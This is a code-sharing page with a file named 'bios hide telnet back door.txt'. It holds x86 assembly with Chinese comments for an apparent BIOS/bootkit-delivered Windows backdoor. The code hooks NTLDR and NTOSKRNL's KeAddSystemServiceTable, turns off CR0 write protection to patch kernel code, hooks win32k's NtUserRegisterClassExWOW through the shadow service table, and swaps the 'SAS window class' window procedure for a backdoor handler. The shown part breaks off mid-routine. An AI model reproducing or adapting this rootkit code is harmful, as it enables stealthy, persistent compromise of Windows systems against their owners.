📄 bios hide telnet back door.txt
字号:
pushfd ;esp = esp + 04h
pushad ;esp = esp + 20h
;扫描获取模块表基址(_BlLoaderData) 参看"NTLDR分析及源代码".
mov edi,[esp + 20h + 04h] ;edi->OSLOADER内部.
and edi,NOT 000FFFFFh ;转换为镜像基地址 .
cld
mov al,0c7h ;C7h/46h/34h/00h/40h/00h/00h: MOV DWORD PTR [ESI+34h], 4000h
.while 1
scasb
.if ZERO?
.break .if dword ptr [edi] == 40003446h
.endif
.endw
mov al,0A1H ;A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx]
.while 1
scasb
.break .if ZERO?
.endw
mov esi,[edi] ;esi->模块链表的开始基地址 .
mov esi,[esi] ;esi->模块链表中的第一个节点.
lodsd
mov ebx,[eax+18h] ;EBX = NTOSKRNL.EXE 在内存镜像的基地址.
;注意:这里不能直接调用NTOSKRNL导出函数.
;jmp $
;***************************************************************************************************************************************** call PatchFunction_OverHookFunc ;跳转到KeASSTHook后面执行,安装HOOK问题.
KeASSTHook: ;HOOK KeAddSystemServiceTable 该函数.
;lb 0x804c3bc6
sub dword ptr [esp],5 ;修正ret指令返回地址为被HOOK函数开始处.
pushad ;保护KeAddSystemServiceTable函数的现场.
mov eax,00000001h ;KEASSTHOOK_PTE:保护模式代码的内存地址.
KEASSTHOOK_PTE EQU $-4
xor ecx,ecx
mov ch,((Code32End - Code32Start) + 100h) / 100h ;注意:代码小于2k,以便放在用户数据空间 .
mov edx,0C0000000h ;edx->4MB页目录表中的第一个二级页表项 .
xor esi,esi ;esi->我们的代码开始地址,以页为基地址 .
mov edi,CSL_KERNEL_DEST ;拷贝代码到SharedUserData数据空间中去 .
xchg [edx],eax ;映射我们代码的物理地址到线性地址00000.
wbinvd
rep movsb ;SharedUserData 空间参看其他相关的教程.
mov [edx],eax ;恢复线性地址00000000原来的映射物理页 .
wbinvd ;bochs调试6#:NTOSKRNL.EXE镜像基址 + 64.
;保存被HOOK代码数据在堆栈中,后面恢复用.
db 6Ah,0 ;6Ah/xx: PUSH simm8
KEASSTHOOK_DISPLACED4 EQU $-1
pushd 0
KEASSTHOOK_DISPLACED0 EQU $-4
;bochs调试8#:lb 0xffdf08a4映射地址之后.
push (CSL_KERNEL_DEST + (MyKeAddSystemServiceTable - Code32Start))
ret ;跳转到MyKeAddSystemServiceTable函数处.
;*****************************************************************************************************************************************PatchFunction_OverHookFunc: ;KeAddSystemServiceTable HOOK 问题处理.
pop esi ;esi->KeASSTHook 函数在内存的实际地址 .
mov ecx,PatchFunction_OverHookFunc - KeASSTHook ;ecx = KeASSTHook 代码的长度,准备移动 .
;处理代码中的寻址问题,将KeASSTHook代码.
lea edi,[ebx+40h] ;搬移到NTOSKRNL DOS MZ和PE头之间去执行.
;jmp $ ;bochs调试5#,lb edi下一步运行在edi的值.
mov ebp, edi ;ebp用于后面HOOK时计算CALL rel 偏移用 .
rep movsb ;指令:edi->PatchFunction_OverHookFunc .
mov edx,0A21CD4EEh ;"KeAddSystemServiceTable",0 ->HASH值.
call PEApiHashFind ;在NTOSKRNL模块中查找该函数以便HOOK用..
;jmp $ ;bochs调试7#可以用到调试HOOK函数lb eax.
xchg esi,eax ;指令:esi->KeAddSystemServiceTable函数.
sub edi,PatchFunction_OverHookFunc - KEASSTHOOK_DISPLACED0
movsd ;InLine HOOK方式:保存被HOOK的代码数据 .
sub edi,KEASSTHOOK_DISPLACED0 + 4 - KEASSTHOOK_DISPLACED4
movsb
mov byte ptr [esi-5],0e8h ;E8h/xx/xx/xx/xx:CALL rel 相关地址指令.
sub ebp,esi ;调试例如:bochs调试5#edi lb 0x80400040.
mov dword ptr [esi-4],ebp ;call KeASSTHook,调试断点bochs调试5#处.
popad
popfd
;***************************************************************************************************************************************** ;模拟InLineHOOK NTLDR中的指令,并返回去.
mov esi,eax
test eax,eax
jnz short @F
pushfd
add dword ptr [esp+4],21h
popfd
@@:
ret
;*****************************************************************************************************************************************MyKeAddSystemServiceTable: ;bochs调试8#:开始是多任务JMP $断点很慢.
;首先关闭HOOK NTOSKRNL.EXE!KeAddSystemServiceTable
mov ebp,esp ;bochs调试8#:lb 0xffdf08a4 u /50 查看.
mov edi,[ebp+8+20h] ;edi->KeAddSystemServiceTable 函数入口.
mov ecx,cr0
mov edx,ecx
and ecx,NOT 00010000h
mov cr0,ecx ;CR0.WP关闭页保护功能,以便对当前页修改.
pop eax ;恢复KeAddSystemServiceTable HOOK 数据.
stosd
pop eax
stosb
mov cr0,edx ;恢复 CR0.WP位到原来的状态 .
;***************************************************************************************************************************************** mov esi,[ebp+8+28h] ;esi->_W32pServiceTable 服务描述表.
mov ecx,[ebp+8+30h] ;ecx: 服务的数目.
mov edi,[ebp+8+34h] ;edi:_W32pArgumentTable 服务参数表.
;具体参看"SSDT HOOK教程" ,讲解如何HOOK.
.while ecx > 0 ;HOOK win32k!NtUserRegisterClassExWOW .
lodsd
.if byte ptr [edi] == 10h ;NtUserRegisterHotKey has 4 arguments .
mov edx,20h
.while edx > 0
.if byte ptr [eax] == 0f7h ;F7h/0: TEST mem, imm
mov ebx,4 ;search EAX+4..1 for bit mask of prohibited 'fsModifiers' flags
.while ebx > 0
.if dword ptr [eax + ebx] == 0FFFF7FF0h
inc edi
.while 1 ;NtUserRegisterClassExWOW will have 6 or 7 arguments
sub esi,4
dec edi
.if byte ptr [edi] >= 18h
mov eax,[esi]
;bochs调试9#:JMP $指令断点,在多线程下很慢,尽量采用断点命令.lb 0xffdf08f7
mov edi,(CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW-Code32Start))
mov [edi + (NTURCEWOW_ORIGINAL - MyNtUserRegisterClassExWOW)],eax
mov [esi],edi
jmp @F
.endif
.endw
.endif
dec ebx
.endw
.endif
inc eax
dec edx
.endw
.endif
inc edi
dec ecx
.endw
@@:
;***************************************************************************************************************************************** popad ;恢复KeAddSystemServiceTable函数的现场.
ret ;返回KeAddSystemServiceTable函数去执行.
;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW: ;win32k!NtUserRegisterClassExWOW HOOK .
pushad ;bochs调试10#:lb 0xffdf091e 调试9#获取.
;使用bochs调试命令:x esp u /50 eip.
xor eax,eax
push (CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW_SEH - Code32Start))
push dword ptr fs:[eax] ;在堆栈建立异常结构
mov dword ptr fs:[eax],esp ;安装我们的异常处理,####调试发现安装的异常处理有时不能工作.####
;通过传来的参数检查类名是L"SAS window class" ,替换其'lpfnWndProc'过程,具体参看"win32应用程序窗口消息原理".
mov ebp,ds:[7FFE02B4h] ;EBP = MmHighestUserAddress
mov edx,[esp + 8 + 28h] ;edx->窗口类名,格式PUNICODE_STRING.
.if edx <= ebp
.if word ptr [edx] == 16*2 ;size of L"SAS window class" 检查字符数对不?
mov esi,[edx + 4]
.if esi <= ebp
mov ecx,16 ;
mov edx,72ABEC2Dh ;72ABEC2Dh <-- HASH("SAS window class")
@@:
lodsw
sub edx,eax
ror edx,7
loop @B
.if edx == 0 ;替换窗口过程,前保存旧的过程在PEB中
mov esi,[esp + 8 +24h];esi->WNDCLASSEXW 类结构.
.if esi <= ebp
mov ecx,fs:[edx + 18h] ;ecx->用户TIB,线程信息块存放线程信息.
mov ecx,[ecx +30h] ;ecx-> PEB,进程环境块存放进程信息.
.if ecx <= ebp ;bochs调试11#:lb 0xffdf0971
mov eax,(CSL_USER_BACKDOOR + (MySASWndProc - Code32Start))
xchg dword ptr [esi + 8],eax ;替换'lpfnWndProc'过程,为我们的过程.
mov [ecx + 0eb0h],eax ;PEB->0EB0h = 旧的'lpfnWndProc' (保存旧的SASWndProc)
.endif
.endif
.endif
.endif
.endif
.endif
;*****************************************************************************************************************************************NTURCEWOW_Done: ;bochs调试11#:lb 0xffdf097f
xor eax,eax
pop dword ptr fs:[eax] ;移除堆栈的异常结构
pop ecx ;移除我们的异常处理
popad
pushd 0
NTURCEWOW_ORIGINAL EQU $-4
ret ;返回NtUserRegisterClassExWOWHook执行.
;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW_SEH: ;注意:安装异常参看"win32应用程序设计".
xor eax,eax ;lb 0xffdf098c 调试异常:兼容不很稳定 .
cdq ;CDQ常用于除法运算之前调整EDX值.作用只是把EDX的所有位都设成EAX最高位的值.
mov dl,0B8h
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -